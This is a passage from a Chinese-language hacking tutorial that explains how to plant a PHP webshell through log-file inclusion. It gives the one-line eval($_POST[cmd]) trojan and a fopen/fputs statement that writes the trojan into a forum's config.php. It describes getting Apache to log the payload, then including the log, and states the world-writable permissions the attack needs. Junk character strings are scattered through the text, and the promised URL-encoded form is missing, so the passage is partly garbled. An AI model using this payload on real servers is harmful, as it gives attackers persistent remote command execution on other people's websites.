因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。 % e9 w. V$ P/ B9 r" Z
/ B4 c! }& l( p5 r
比如还是这句一句话木马 % k5 J; _) c# K8 k! J! f" I3 X
<?eval($_POST[cmd]);?> # `7 h ?) n, I( ?, X
4 {, [% N0 b2 g
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
4 c, k1 ^) E! \5 s+ G% L6 afopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 4 W1 l: _( O2 u4 l
j' A* z( W; R1 z% t+ V$ k- @) }
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); * h' E4 o& f% N" E; I0 {/ W! n
fclose($fp);?> //在config.php里写入一句木马语句 3 B/ s. L7 w% [! y! E& K
( W9 b+ z/ [3 L我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。 1 C6 d1 [: n) E- h% R: c
转换为 9 i6 n1 U1 C9 ?

OK.

4 g1 z5 E6 |7 D7 Y. SPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 $ s3 q! J$ b1 h& b; w: {1 i5 o
